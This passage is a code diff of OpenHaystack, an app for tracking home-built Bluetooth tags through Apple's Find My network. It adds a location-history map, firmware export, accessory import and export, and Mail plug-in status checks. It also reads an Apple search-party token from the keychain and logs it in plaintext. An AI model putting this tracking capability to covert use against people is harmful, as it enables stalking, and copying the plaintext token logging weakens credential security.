+        } catch {
+            os_log("Failed extracing public key %@", String(describing: error))
+            assert(false)
+        }
+    }
+
     func copyPublicKeyHash(of accessory: Accessory) {
         do {
             let keyID = try accessory.getKeyId()
@@ -98,6 +118,28 @@ struct AccessoryListEntry: View {
         }
     }
 
+    func copyAdvertisementKey(escapedString: Bool) {
+        do {
+            let publicKey = try self.accessory.getAdvertisementKey()
+            let keyByteArray = [UInt8](publicKey)
+
+            if escapedString {
+                let string = keyByteArray.map { "\\x\(String($0, radix: 16))" }.joined()
+                let pasteboard = NSPasteboard.general
+                pasteboard.prepareForNewContents(with: .currentHostOnly)
+                pasteboard.setString(string, forType: .string)
+            } else {
+                let string = keyByteArray.map { "0x\(String($0, radix: 16))" }.joined(separator: ", ")
+                let pasteboard = NSPasteboard.general
+                pasteboard.prepareForNewContents(with: .currentHostOnly)
+                pasteboard.setString(string, forType: .string)
+            }
+        } catch {
+            os_log("Failed extracing public key %@", String(describing: error))
+            assert(false)
+        }
+    }
+
     struct AccessoryListEntry_Previews: PreviewProvider {
         @StateObject static var accessory = PreviewData.accessories.first!
         @State static var alertType: OpenHaystackMainView.AlertType?

OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryMapAnnotation.swift

@@ -45,7 +45,8 @@ class AccessoryAnnotationView: MKAnnotationView {
     func updateView() {
         guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
         self.pinView?.removeFromSuperview()
-        self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))
+        self.pinView = nil
+        self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))  // TODO: LEAK! This view is not release properly
 
         self.addSubview(pinView!)
 
@@ -103,3 +104,11 @@ class AccessoryAnnotation: NSObject, MKAnnotation {
         self.accessory = accessory
     }
 }
+
+class AccessoryHistoryAnnotation: NSObject, MKAnnotation {
+    var coordinate: CLLocationCoordinate2D
+
+    init(coordinate: CLLocationCoordinate2D) {
+        self.coordinate = coordinate
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryMapView.swift

@@ -14,7 +14,10 @@ import SwiftUI
 struct AccessoryMapView: NSViewControllerRepresentable {
     @ObservedObject var accessoryController: AccessoryController
     @Binding var mapType: MKMapType
-    var focusedAccessory: Accessory?
+    @Binding var focusedAccessory: Accessory?
+    @Binding var showHistory: Bool
+    @Binding var showPastHistory: TimeInterval
+    var delayer = UpdateDelayer()
 
     func makeNSViewController(context: Context) -> MapViewController {
         return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
@@ -23,8 +26,30 @@ struct AccessoryMapView: NSViewControllerRepresentable {
     func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
         let accessories = self.accessoryController.accessories
 
-        nsViewController.zoom(on: focusedAccessory)
-        nsViewController.addLastLocations(from: accessories)
+        nsViewController.focusedAccessory = focusedAccessory
+        if showHistory {
+            delayer.delayUpdate {
+                nsViewController.addAllLocations(from: focusedAccessory!, past: showPastHistory)
+                nsViewController.zoomInOnAll()
+            }
+        } else {
+            nsViewController.addLastLocations(from: accessories)
+            nsViewController.zoomInOnSelection()
+        }
         nsViewController.changeMapType(mapType)
     }
 }
+
+class UpdateDelayer {
+    /// Some view updates need to be delayed to mitigate UI glitches.
+    var delayedWorkItem: DispatchWorkItem?
+
+    func delayUpdate(delay: Double = 0.3, closure: @escaping () -> Void) {
+        self.delayedWorkItem?.cancel()
+        let workItem = DispatchWorkItem {
+            closure()
+        }
+        DispatchQueue.main.asyncAfter(deadline: .now() + delay, execute: workItem)
+        self.delayedWorkItem = workItem
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/ManageAccessoriesView.swift

@@ -8,6 +8,7 @@
 //
 
 import SwiftUI
+import os
 
 struct ManageAccessoriesView: View {
 
@@ -21,6 +22,9 @@ struct ManageAccessoriesView: View {
     @Binding var focusedAccessory: Accessory?
     @Binding var accessoryToDeploy: Accessory?
     @Binding var showESP32DeploySheet: Bool
+    @State var sheetShown: SheetType?
+
+    @State var showMailPopup = false
 
     var body: some View {
         VStack {
@@ -38,20 +42,21 @@ struct ManageAccessoriesView: View {
             }
         }
         .toolbar(content: {
-            Spacer()
-            Button(action: self.addAccessory) {
-                Label("Add accessory", systemImage: "plus")
-            }
+            self.toolbarView
         })
-        .sheet(
-            isPresented: self.$showESP32DeploySheet,
-            content: {
+        .sheet(item: self.$sheetShown) { sheetType in
+            switch sheetType {
+            case .esp32Install:
                 ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
-            })
+            case .deployFirmware:
+                self.selectTargetView
+            }
+        }
     }
 
     /// Accessory List view.
     var accessoryList: some View {
+
         List(self.accessories, id: \.self, selection: $focusedAccessory) { accessory in
             AccessoryListEntry(
                 accessory: accessory,
@@ -70,12 +75,92 @@ struct ManageAccessoriesView: View {
                 alertType: self.$alertType,
                 delete: self.delete(accessory:),
                 deployAccessoryToMicrobit: self.deploy(accessory:),
-                zoomOn: { self.focusedAccessory = $0 })
+                zoomOn: { self.focusedAccessory = $0 }
+            )
         }
-        .listStyle(SidebarListStyle())
+        .listStyle(PlainListStyle())
 
     }
 
+    /// All toolbar buttons shown.
+    var toolbarView: some View {
+        Group {
+            Spacer()
+
+            Button(
+                action: self.importAccessories,
+                label: {
+                    Label("Import accessories", systemImage: "square.and.arrow.down")
+                }
+            )
+            .help("Import accessories from a file")
+
+            Button(
+                action: self.exportAccessories,
+                label: {
+                    Label("Export accessories", systemImage: "square.and.arrow.up")
+                }
+            )
+            .help("Export all accessories to a file")
+
+            Button(action: self.addAccessory) {
+                Label("Add accessory", systemImage: "plus")
+            }
+            .help("Add a new accessory")
+        }
+    }
+
+    var selectTargetView: some View {
+        VStack {
+            Text("Select target")
+                .font(.title)
+            Text("Please select to which device you want to deply")
+                .padding(.bottom, 4)
+
+            VStack {
+                Button(
+                    "Micro:bit",
+                    action: {
+                        self.sheetShown = nil
+                        if let accessory = self.accessoryToDeploy {
+                            self.deployAccessoryToMicrobit(accessory: accessory)
+                        }
+                    }
+                )
+                .buttonStyle(LargeButtonStyle())
+
+                Button(
+                    "Export Microbit firmware",
+                    action: {
+                        self.sheetShown = nil
+                        if let accessory = self.accessoryToDeploy {
+                            self.exportMicrobitFirmware(for: accessory)
+                        }
+                    }
+                )
+                .buttonStyle(LargeButtonStyle())
+
+                Button(
+                    "ESP32",
+                    action: {
+                        self.sheetShown = .esp32Install
+                    }
+                )
+                .buttonStyle(LargeButtonStyle())
+
+                Button(
+                    "Cancel",
+                    action: {
+                        self.sheetShown = nil
+                    }
+                )
+                .buttonStyle(LargeButtonStyle(destructive: true))
+            }
+
+        }
+        .padding()
+    }
+
     /// Delete an accessory from the list of accessories.
     func delete(accessory: Accessory) {
         do {
@@ -87,7 +172,7 @@ struct ManageAccessoriesView: View {
 
     func deploy(accessory: Accessory) {
         self.accessoryToDeploy = accessory
-        self.alertType = .selectDepoyTarget
+        self.sheetShown = .deployFirmware
     }
 
     /// Add an accessory with the provided details.
@@ -99,6 +184,81 @@ struct ManageAccessoriesView: View {
         }
     }
 
+    func exportAccessories() {
+        do {
+            _ = try self.accessoryController.export(accessories: self.accessories)
+        } catch {
+            self.alertType = .exportFailed
+        }
+    }
+
+    func importAccessories() {
+        do {
+            try self.accessoryController.importAccessories()
+        } catch {
+            if let importError = error as? AccessoryController.ImportError,
+                importError == .cancelled
+            {
+                //User cancelled the import. No error
+                return
+            }
+
+            self.alertType = .importFailed
+        }
+    }
+
+    /// Deploy the public key of the accessory to a BBC microbit.
+    func deployAccessoryToMicrobit(accessory: Accessory) {
+        do {
+            try MicrobitController.deploy(accessory: accessory)
+        } catch {
+            os_log("Error occurred %@", String(describing: error))
+            self.alertType = .deployFailed
+            return
+        }
+
+        self.alertType = .deployedSuccessfully
+        accessory.isDeployed = true
+        self.accessoryToDeploy = nil
+    }
+
+    func exportMicrobitFirmware(for accessory: Accessory) {
+        do {
+            let firmware = try MicrobitController.patchFirmware(for: accessory)
+
+            let savePanel = NSSavePanel()
+            savePanel.allowedFileTypes = ["bin"]
+            savePanel.canCreateDirectories = true
+            savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
+            savePanel.message = "Export the micro:bit firmware"
+            savePanel.nameFieldLabel = "Firmware name"
+            savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
+            savePanel.prompt = "Export"
+            savePanel.title = "Export firmware"
+
+            let result = savePanel.runModal()
+
+            if result == .OK,
+                let url = savePanel.url
+            {
+                // Store the accessory file
+                try firmware.write(to: url)
+            }
+
+        } catch {
+            os_log("Error occurred %@", String(describing: error))
+            self.alertType = .exportFailed
+            return
+        }
+    }
+
+    enum SheetType: Int, Identifiable {
+        var id: Int {
+            return self.rawValue
+        }
+        case esp32Install
+        case deployFirmware
+    }
 }
 
 struct ManageAccessoriesView_Previews: PreviewProvider {
@@ -113,3 +273,11 @@ struct ManageAccessoriesView_Previews: PreviewProvider {
         ManageAccessoriesView(alertType: self.$alertType, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy, showESP32DeploySheet: self.$showESPSheet)
     }
 }
+
+//FIXME: This is a workaround, because the List with Default style (and clear background) started to crop the rows on macOS 11.3
+extension NSTableView {
+    open override func viewDidMoveToWindow() {
+        super.viewDidMoveToWindow()
+        self.backgroundColor = .clear
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/OpenHaystackMainView.swift

@@ -15,12 +15,11 @@ struct OpenHaystackMainView: View {
 
     @State var loading = false
     @EnvironmentObject var accessoryController: AccessoryController
-    @EnvironmentObject var findMyController: FindMyController
+
     var accessories: [Accessory] {
         return self.accessoryController.accessories
     }
 
-    @State var showKeyError = false
     @State var alertType: AlertType?
     @State var popUpAlertType: PopUpAlertType?
     @State var errorDescription: String?
@@ -29,7 +28,12 @@ struct OpenHaystackMainView: View {
     @State var mapType: MKMapType = .standard
     @State var isLoading = false
     @State var focusedAccessory: Accessory?
+    @State var historyMapView = false
+    @State var historySeconds: TimeInterval = TimeInterval.Units.day.rawValue
     @State var accessoryToDeploy: Accessory?
+    @State var showMailPlugInPopover = false
+
+    @State var mailPluginIsActive = false
 
     @State var showESP32DeploySheet = false
 
@@ -43,11 +47,14 @@ struct OpenHaystackMainView: View {
                 accessoryToDeploy: self.$accessoryToDeploy,
                 showESP32DeploySheet: self.$showESP32DeploySheet
             )
-            .frame(minWidth: 200, idealWidth: 200, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
+            .frame(minWidth: 250, idealWidth: 280, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
 
             ZStack {
-                AccessoryMapView(accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.focusedAccessory)
-                    .overlay(self.mapOverlay)
+                AccessoryMapView(
+                    accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.$focusedAccessory, showHistory: self.$historyMapView,
+                    showPastHistory: self.$historySeconds
+                )
+                .overlay(self.mapOverlay)
                 if self.popUpAlertType != nil {
                     VStack {
                         Spacer()
@@ -59,15 +66,7 @@ struct OpenHaystackMainView: View {
             }
             .frame(minWidth: 500, idealWidth: 500, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
             .toolbar(content: {
-                Picker("", selection: self.$mapType) {
-                    Text("Satellite").tag(MKMapType.hybrid)
-                    Text("Standard").tag(MKMapType.standard)
-                }
-                .pickerStyle(SegmentedPickerStyle())
-                Button(action: self.downloadLocationReports) {
-                    Label("Reload", systemImage: "arrow.clockwise")
-                }
-                .disabled(self.accessories.isEmpty)
+                self.toolbarView
             })
             .alert(
                 item: self.$alertType,
@@ -111,6 +110,57 @@ struct OpenHaystackMainView: View {
         }
     }
 
+    /// All toolbar items shown.
+    var toolbarView: some View {
+        Group {
+            if self.historyMapView {
+                Text("\(TimeInterval(self.historySeconds).description)")
+                Slider<Text, EmptyView>.withLogScale(value: $historySeconds, in: 30 * TimeInterval.Units.minute.rawValue...TimeInterval.Units.week.rawValue) {
+                    Text("Past time to show")
+                }
+                .frame(width: 80)
+            }
+            Toggle(isOn: $historyMapView) {
+                Label("Show location history", systemImage: "clock")
+            }
+            .disabled(self.focusedAccessory == nil)
+
+            Picker("", selection: self.$mapType) {
+                Text("Satellite").tag(MKMapType.hybrid)
+                Text("Standard").tag(MKMapType.standard)
+            }
+            .pickerStyle(SegmentedPickerStyle())
+
+            Button(
+                action: {
+                    if !self.mailPluginIsActive {
+                        self.showMailPlugInPopover.toggle()
+                        self.checkPluginIsRunning(silent: true, nil)
+                    } else {
+                        self.downloadLocationReports()
+                    }
+
+                },
+                label: {
+                    HStack {
+                        Circle()
+                            .fill(self.mailPluginIsActive ? Color.green : Color.orange)
+                            .frame(width: 8, height: 8)
+                        Label("Reload", systemImage: "arrow.clockwise")
+                            .disabled(!self.mailPluginIsActive)
+                    }
+
+                }
+            )
+            .disabled(self.accessories.isEmpty)
+            .popover(
+                isPresented: $showMailPlugInPopover,
+                content: {
+                    self.mailStatePopover
+                })
+        }
+    }
+
     func onAppear() {
 
         /// Checks if the search party token can be fetched without the Mail Plugin. If true the plugin is not needed for this environment. (e.g.  when SIP is disabled)
@@ -128,69 +178,50 @@ struct OpenHaystackMainView: View {
         if pluginManager.isMailPluginInstalled == false {
             // Install the mail plugin
             self.alertType = .activatePlugin
+            self.checkPluginIsRunning(silent: true, nil)
         } else {
             self.checkPluginIsRunning(nil)
         }
+
     }
 
     /// Download the location reports for all current accessories. Shows an error if something fails, like plug-in is missing
     func downloadLocationReports() {
-
-        self.checkPluginIsRunning { (running) in
-            guard running else {
-                self.alertType = .activatePlugin
-                return
-            }
-
-            guard !self.searchPartyToken.isEmpty,
-                let tokenData = self.searchPartyToken.data(using: .utf8)
-            else {
-                self.alertType = .searchPartyToken
-                return
-            }
-
-            withAnimation {
-                self.isLoading = true
-            }
-
-            findMyController.fetchReports(for: accessories, with: tokenData) { result in
-                switch result {
-                case .failure(let error):
-                    os_log(.error, "Downloading reports failed %@", error.localizedDescription)
-                case .success(let devices):
-                    let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
-                    if reports.isEmpty {
-                        withAnimation {
-                            self.popUpAlertType = .noReportsFound
-                        }
+        self.isLoading = true
+        self.accessoryController.downloadLocationReports { result in
+            self.isLoading = false
+            switch result {
+            case .failure(let alert):
+                if alert == .noReportsFound {
+                    self.popUpAlertType = .noReportsFound
+                } else {
+                    if alert == .activatePlugin {
+                        self.mailPluginIsActive = false
                     }
+                    self.alertType = alert
                 }
-                withAnimation {
-                    self.isLoading = false
-                }
+            case .success(_):
+                break
             }
         }
-
     }
 
-    func deploy(accessory: Accessory) {
-        self.accessoryToDeploy = accessory
-        self.alertType = .selectDepoyTarget
-    }
+    var mailStatePopover: some View {
+        VStack {
+            HStack {
+                Image(systemName: "envelope")
+                    .font(.title)
+                    .foregroundColor(self.mailPluginIsActive ? .green : .red)
 
-    /// Deploy the public key of the accessory to a BBC microbit.
-    func deployAccessoryToMicrobit(accessory: Accessory) {
-        do {
-            try MicrobitController.deploy(accessory: accessory)
-        } catch {
-            os_log("Error occurred %@", String(describing: error))
-            self.alertType = .deployFailed
-            return
+                if self.mailPluginIsActive {
+                    Text("The mail plug-in is up and running")
+                } else {
+                    Text("Cannot connect to the mail plug-in. Open Apple Mail and make sure the plug-in is enabled")
+                }
+            }
+            .padding()
         }
-
-        self.alertType = .deployedSuccessfully
-
-        self.accessoryToDeploy = nil
+        .frame(width: 250, height: 120)
     }
 
     /// Ask to install and activate the mail plugin.
@@ -210,7 +241,7 @@ struct OpenHaystackMainView: View {
         }
     }
 
-    func checkPluginIsRunning(_ completion: ((Bool) -> Void)?) {
+    func checkPluginIsRunning(silent: Bool = false, _ completion: ((Bool) -> Void)?) {
         // Check if Mail plugin is active
         AnisetteDataManager.shared.requestAnisetteData { (result) in
             DispatchQueue.main.async {
@@ -218,14 +249,18 @@ struct OpenHaystackMainView: View {
                 case .success(let accountData):
 
                     withAnimation {
-                        self.searchPartyToken = String(data: accountData.searchPartyToken, encoding: .ascii) ?? ""
-                        if self.searchPartyToken.isEmpty == false {
-                            self.searchPartyTokenLoaded = true
+                        if let token = accountData.searchPartyToken {
+                            self.searchPartyToken = String(data: token, encoding: .ascii) ?? ""
+                            if self.searchPartyToken.isEmpty == false {
+                                self.searchPartyTokenLoaded = true
+                            }
                         }
                     }
+                    self.mailPluginIsActive = true
+                    self.showMailPlugInPopover = false
                     completion?(true)
                 case .failure(let error):
-                    if let error = error as? AnisetteDataError {
+                    if let error = error as? AnisetteDataError, silent == false {
                         switch error {
                         case .pluginNotFound:
                             self.alertType = .activatePlugin
@@ -233,7 +268,15 @@ struct OpenHaystackMainView: View {
                             self.alertType = .activatePlugin
                         }
                     }
+                    self.mailPluginIsActive = false
                     completion?(false)
+
+                    //Check again in 5s
+                    DispatchQueue.main.asyncAfter(
+                        deadline: .now() + 5,
+                        execute: {
+                            self.checkPluginIsRunning(silent: true, nil)
+                        })
                 }
             }
         }
@@ -313,24 +356,25 @@ struct OpenHaystackMainView: View {
                     action: {
                         self.downloadPlugin()
                     }), secondaryButton: .cancel())
-        case .selectDepoyTarget:
-            let microbitButton = Alert.Button.default(Text("Microbit"), action: { self.deployAccessoryToMicrobit(accessory: self.accessoryToDeploy!) })
-
-            let esp32Button = Alert.Button.default(
-                Text("ESP32"),
-                action: {
-                    self.showESP32DeploySheet = true
-                })
-
+        case .downloadingReportsFailed:
             return Alert(
-                title: Text("Select target"),
-                message: Text("Please select to which device you want to deploy"),
-                primaryButton: microbitButton,
-                secondaryButton: esp32Button)
+                title: Text("Downloading locations failed"),
+                message: Text("We could not download any locations from Apple. Please try again later"),
+                dismissButton: Alert.Button.okay())
+        case .exportFailed:
+            return Alert(
+                title: Text("Export failed"),
+                message: Text("Please check that no the folder is writable and that you have the most current version of the app"),
+                dismissButton: .okay())
+        case .importFailed:
+            return Alert(
+                title: Text("Import failed"),
+                message: Text("Could not import the selected file. Please make sure it has not been modified and that you have the current version of the app."),
+                dismissButton: .okay())
         }
     }
 
-    enum AlertType: Int, Identifiable {
+    enum AlertType: Int, Identifiable, Error {
         var id: Int {
             return self.rawValue
         }
@@ -341,19 +385,21 @@ struct OpenHaystackMainView: View {
         case deployedSuccessfully
         case deletionFailed
         case noReportsFound
+        case downloadingReportsFailed
         case activatePlugin
         case pluginInstallFailed
-        case selectDepoyTarget
+        case exportFailed
+        case importFailed
     }
 
 }
 
 struct OpenHaystackMainView_Previews: PreviewProvider {
-    static var accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories) as AccessoryController
+    static var accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController()) as AccessoryController
 
     static var previews: some View {
         OpenHaystackMainView()
-            .environmentObject(accessoryController)
+            .environmentObject(self.accessoryController)
     }
 }
 
@@ -362,3 +408,35 @@ extension Alert.Button {
         Alert.Button.default(Text("Okay"))
     }
 }
+
+extension TimeInterval {
+    var description: String {
+        var value = 0
+        var unit = Units.second
+        Units.allCases.forEach { u in
+            if self.rounded() >= u.rawValue {
+                value = Int((self / u.rawValue).rounded())
+                unit = u
+            }
+        }
+        return "\(value) \(unit.description)\(value > 1 ? "s" : "")"
+    }
+
+    enum Units: Double, CaseIterable {
+        case second = 1
+        case minute = 60
+        case hour = 3600
+        case day = 86400
+        case week = 604800
+
+        var description: String {
+            switch self {
+            case .second: return "Second"
+            case .minute: return "Minute"
+            case .hour: return "Hour"
+            case .day: return "Day"
+            case .week: return "Week"
+            }
+        }
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/Slider+LogScale.swift

@@ -0,0 +1,45 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import SwiftUI
+
+extension Binding where Value == Double {
+    func logarithmic(base: Double = 10.0) -> Binding<Double> {
+        Binding(
+            get: {
+                logC(self.wrappedValue, forBase: base)
+            },
+            set: { (newValue) in
+                self.wrappedValue = pow(base, newValue)
+            })
+    }
+}
+
+extension Slider {
+    static func withLogScale(
+        base: Double = 10.0,
+        value: Binding<Double>,
+        in inRange: ClosedRange<Double>,
+        minimumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
+        maximumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
+        label: () -> Label = { EmptyView() as! Label },
+        onEditingChanged: @escaping (Bool) -> Void = { _ in }
+    ) -> Slider where Label: View, ValueLabel: View {
+        return self.init(
+            value: value.logarithmic(base: base),
+            in: logC(inRange.lowerBound, forBase: base)...logC(inRange.upperBound, forBase: base),
+            onEditingChanged: onEditingChanged, minimumValueLabel: minimumValueLabel,
+            maximumValueLabel: maximumValueLabel,
+            label: label)
+    }
+}
+
+private func logC(_ value: Double, forBase base: Double) -> Double {
+    return log(value) / log(base)
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/Styles/LargeButtonStyle.swift

@@ -0,0 +1,33 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import Foundation
+import SwiftUI
+
+struct LargeButtonStyle: ButtonStyle {
+
+    var active: Bool = false
+    var destructive: Bool = false
+
+    func makeBody(configuration: Configuration) -> some View {
+        ZStack {
+            if configuration.isPressed {
+                RoundedRectangle(cornerRadius: 5.0)
+                    .fill(Color.accentColor)
+            } else {
+                RoundedRectangle(cornerRadius: 5.0)
+                    .fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
+            }
+
+            configuration.label
+                .font(Font.headline)
+                .padding(6)
+        }
+    }
+}

OpenHaystack/OpenHaystack/Info.plist

@@ -28,5 +28,7 @@
 	<true/>
 	<key>NSSupportsSuddenTermination</key>
 	<true/>
+	<key>NSBluetoothAlwaysUsageDescription</key>
+	<string>OpenHaystack uses Bluetooth to detect the presence of nearby accessories.</string>
 </dict>
 </plist>

OpenHaystack/OpenHaystack/MapViewController.swift

@@ -19,11 +19,7 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
         super.viewDidLoad()
         self.mapView.delegate = self
         self.mapView.register(AccessoryAnnotationView.self, forAnnotationViewWithReuseIdentifier: "Accessory")
-    }
-
-    func zoom(on accessory: Accessory?) {
-        self.focusedAccessory = accessory
-        self.zoomInOnSelection()
+        self.mapView.register(MKPinAnnotationView.self, forAnnotationViewWithReuseIdentifier: "AccessoryHistory")
     }
 
     func addLastLocations(from accessories: [Accessory]) {
@@ -34,15 +30,11 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
             let annotation = AccessoryAnnotation(accessory: accessory)
             self.mapView.addAnnotation(annotation)
         }
-        self.zoomInOnSelection()
     }
 
     func zoomInOnSelection() {
-        var annotations = [MKAnnotation]()
-
         if focusedAccessory == nil {
-            // Show all locations
-            annotations = self.mapView.annotations
+            zoomInOnAll()
         } else {
             // Show focused accessory
             let focusedAnnotation: MKAnnotation? = self.mapView.annotations.first(where: { annotation in
@@ -50,11 +42,18 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
                 return accessoryAnnotation.accessory == self.focusedAccessory
             })
             if let annotation = focusedAnnotation {
-                annotations = [annotation]
+                zoomInOn(annotations: [annotation])
             }
         }
-        DispatchQueue.main.async {
-            self.mapView.showAnnotations(annotations, animated: true)
+    }
+
+    func zoomInOnAll() {
+        zoomInOn(annotations: self.mapView.annotations)
+    }
+
+    func zoomInOn(annotations: [MKAnnotation]) {
+        DispatchQueue.main.async { [weak self] in
+            self?.mapView.showAnnotations(annotations, animated: true)
         }
     }
 
@@ -62,12 +61,33 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
         self.mapView.mapType = mapType
     }
 
+    func addAllLocations(from accessory: Accessory, past: TimeInterval) {
+        let now = Date()
+        let pastLocations = accessory.locations?.filter { location in
+            guard let timestamp = location.timestamp else {
+                return false
+            }
+            return timestamp + past >= now
+        }
+
+        self.mapView.removeAnnotations(self.mapView.annotations)
+        for location in pastLocations ?? [] {
+            let coordinate = CLLocationCoordinate2DMake(location.latitude, location.longitude)
+            let annotation = AccessoryHistoryAnnotation(coordinate: coordinate)
+            self.mapView.addAnnotation(annotation)
+        }
+    }
+
     func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? {
         switch annotation {
         case is AccessoryAnnotation:
             let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "Accessory", for: annotation)
             annotationView.annotation = annotation
             return annotationView
+        case is AccessoryHistoryAnnotation:
+            let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "AccessoryHistory", for: annotation)
+            annotationView.annotation = annotation
+            return annotationView
         default:
             return nil
         }

OpenHaystack/OpenHaystack/OpenHaystackApp.swift

@@ -12,28 +12,32 @@ import SwiftUI
 @main
 struct OpenHaystackApp: App {
     @StateObject var accessoryController: AccessoryController
-    @StateObject var findMyController: FindMyController
+    var accessoryNearbyMonitor: AccessoryNearbyMonitor?
+    var frameWidth: CGFloat? = nil
+    var frameHeight: CGFloat? = nil
 
     init() {
-        var accessoryController: AccessoryController
+        let accessoryController: AccessoryController
         if ProcessInfo().arguments.contains("-preview") {
-            accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories)
+            accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController())
+            self.accessoryNearbyMonitor = nil
+            //            self.frameWidth = 1920
+            //            self.frameHeight = 1080
         } else {
             accessoryController = AccessoryController()
+            self.accessoryNearbyMonitor = AccessoryNearbyMonitor(accessoryController: accessoryController)
         }
         self._accessoryController = StateObject(wrappedValue: accessoryController)
-        self._findMyController = StateObject(wrappedValue: FindMyController(accessories: accessoryController))
     }
 
     var body: some Scene {
         WindowGroup {
             OpenHaystackMainView()
-                .environmentObject(accessoryController)
-                .environmentObject(findMyController)
+                .environmentObject(self.accessoryController)
+                .frame(width: self.frameWidth, height: self.frameHeight)
         }
         .commands {
             SidebarCommands()
         }
     }
-
 }

OpenHaystack/OpenHaystack/ReportsFetcher/ReportsFetcher.m

@@ -26,10 +26,12 @@
 
     CFTypeRef item;
     OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &item);
-
+    
+    
     if (status == errSecSuccess) {
         NSData *securityToken = (__bridge NSData *)(item);
-
+        CFRelease(item);
+        
         NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
 
         if (securityToken.length == 0) {
@@ -79,7 +81,8 @@
 
     if (status == errSecSuccess) {
         NSDictionary *itemDict = (__bridge NSDictionary *)(item);
-
+        CFRelease(item);
+        
         NSString *accountId = itemDict[(NSString *)kSecAttrAccount];
 
         return accountId;

OpenHaystack/OpenHaystackMail/AppleAccountData.h

@@ -33,7 +33,7 @@ NS_ASSUME_NONNULL_BEGIN
 @property(nonatomic, copy) NSLocale *locale;
 @property(nonatomic, copy) NSTimeZone *timeZone;
 
-@property(nonatomic, copy) NSData *searchPartyToken;
+@property(nonatomic, copy) NSData *_Nullable searchPartyToken;
 
 - (instancetype)initWithMachineID:(NSString *)machineID
                   oneTimePassword:(NSString *)oneTimePassword

OpenHaystack/OpenHaystackMail/Info.plist

@@ -22,43 +22,90 @@
 	<string>Copyright © 2021 SEEMOO – TU Darmstadt</string>
 	<key>NSPrincipalClass</key>
 	<string>OpenHaystackPluginService</string>
-	<key>Supported10.15PluginCompatibilityUUIDs</key>
-	<array>
-		<string># UUIDs for versions from 10.12 to 99.99.99</string>
-		<string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
-		<string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
-		<string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
-		<string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
-		<string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
-		<string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
-		<string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
-		<string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
-		<string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
-		<string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
-		<string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
-		<string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
-		<string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
-		<string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
-	</array>
-	<key>Supported11.0PluginCompatibilityUUIDs</key>
-	<array>
-		<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
-	</array>
-	<key>Supported11.1PluginCompatibilityUUIDs</key>
-	<array>
-		<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
-	</array>
-	<key>Supported11.2PluginCompatibilityUUIDs</key>
-	<array>
-		<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
-	</array>
-	<key>Supported11.3PluginCompatibilityUUIDs</key>
-	<array>
-		<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
-	</array>
-	<key>Supported11.4PluginCompatibilityUUIDs</key>
-	<array>
-		<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
